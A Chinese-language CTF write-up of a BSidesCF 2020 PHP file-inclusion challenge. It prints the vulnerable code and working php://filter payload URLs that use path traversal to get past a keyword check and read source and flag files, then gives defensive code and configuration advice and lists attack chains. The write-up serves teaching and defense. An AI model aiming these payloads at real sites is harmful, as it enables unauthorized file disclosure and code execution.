从一道BUUCTF Web题,聊聊PHP文件包含那些‘坑’与绕过技巧(实战复盘)

从CTF实战看PHP文件包含漏洞的攻防艺术

在Web安全领域,PHP文件包含漏洞一直是渗透测试和CTF比赛中的高频考点。这类漏洞看似简单,实则暗藏玄机,开发者稍有不慎就会留下致命安全隐患。本文将通过一道典型CTF题目(BSidesCF 2020)的深度剖析,带您走进文件包含漏洞的攻防世界,揭示那些容易被忽视的安全陷阱和精妙绕过技巧。

1. 漏洞原理与常见场景

PHP文件包含漏洞主要源于includerequire等函数的非安全使用。当开发者将用户可控的输入直接传递给这些函数时,攻击者就能通过精心构造的路径参数读取敏感文件或执行任意代码。

典型漏洞代码特征

$file = $_GET['file']; include($file . '.php');

这类漏洞在实际应用中通常表现为三种形式:

  • 本地文件包含(LFI):读取服务器上的敏感文件(如/etc/passwd
  • 远程文件包含(RFI):包含远程服务器上的恶意脚本
  • 日志注入:通过包含访问日志等文件实现代码执行

注意:现代PHP默认关闭远程文件包含(allow_url_include=Off),因此RFI在实际中较少见

2. CTF题目深度剖析

以BSidesCF 2020题目为例,关键漏洞代码如下:

$file = $_GET['category']; if(isset($file)) { if(strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")){ include($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } }

这段代码存在两个关键防御点和一个致命缺陷:

防御机制

  1. 后缀自动追加:强制添加.php后缀
  2. 关键词过滤:要求参数必须包含特定字符串

可利用的缺陷

  • 路径穿越未被过滤
  • 伪协议处理逻辑存在漏洞

3. 绕过技巧实战演示

3.1 基础绕过:后缀处理陷阱

首次尝试直接读取index.php:

/index.php?category=php://filter/convert.base64-encode/resource=index.php

系统报错显示:

include(php://filter/convert.base64-encode/resource=index.php.php)

绕过方法:去除.php后缀

/index.php?category=php://filter/convert.base64-encode/resource=index

3.2 高级绕过:双写与路径穿越

当需要读取非php文件(如flag)时,需同时绕过关键词检测和后缀追加:

方法一:路径穿越

/index.php?category=php://filter/convert.base64-encode/resource=index/../flag

方法二:伪协议参数调整

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

这两种方式都满足:

  1. 包含index关键词通过检测
  2. 最终解析路径不包含.php后缀
  3. 能够定位到目标flag文件

4. 防御方案与最佳实践

针对文件包含漏洞,推荐采用多层次的防御策略:

输入验证层

// 白名单验证 $allowed = ['about', 'contact', 'index']; if(!in_array(basename($file), $allowed)) { die('Invalid request'); } // 路径规范化 $file = realpath('./pages/' . $file . '.php'); if(strpos($file, realpath('./pages')) !== 0) { die('Directory traversal detected'); }

服务器配置层

  1. 设置open_basedir限制文件访问范围
  2. 禁用危险函数:allow_url_include=Off
  3. 定期更新PHP版本修复已知漏洞

架构设计层

  • 使用前端控制器模式(如MVC框架)
  • 将可包含文件存放在web根目录之外
  • 对动态包含实施严格的权限控制

5. 漏洞利用的进阶思考

在实际渗透测试中,文件包含漏洞往往能与其他漏洞形成组合攻击:

  1. 结合文件上传:上传含恶意代码的图片,通过包含执行
  2. 日志注入:包含access.log注入PHP代码
  3. Session劫持:包含session文件获取敏感信息
  4. PHP封装协议:利用expect://zip://等协议扩展攻击面

典型攻击链示例

文件上传 → 文件包含 → 代码执行 → 权限提升

理解这些攻击模式有助于开发者在设计系统时建立更全面的安全防护。